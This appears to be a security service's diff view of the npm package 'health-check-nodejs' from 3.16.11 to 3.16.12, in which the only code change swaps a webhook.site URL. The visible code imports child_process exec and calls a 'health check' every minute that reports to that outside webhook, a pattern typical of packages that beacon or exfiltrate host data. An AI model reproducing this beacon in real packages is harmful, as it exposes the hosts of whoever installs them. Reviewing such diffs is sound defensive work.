health-check-nodejs 3.16.11 → 3.16.12
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +2 -2
- package/package.json +1 -1
package/index.js
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
const { exec } = require('child_process');
|
2
2
|
|
3
|
-
const WEBHOOK_URL = 'https://webhook.site/
|
3
|
+
const WEBHOOK_URL = 'https://webhook.site/b2e95ae8-41db-422c-9195-4ef2b8675cc0?new';
|
4
4
|
|
5
5
|
async function performHealthCheck(fetch) {
|
6
6
|
const healthStatus = { status: 'ok', timestamp: new Date().toISOString() };
|
@@ -57,4 +57,4 @@ async function fetchData(fetch) {
|
|
57
57
|
await performHealthCheck(fetch);
|
58
58
|
}, 60000);
|
59
59
|
}, 0); //1 min
|
60
|
-
})();
|
60
|
+
})();
|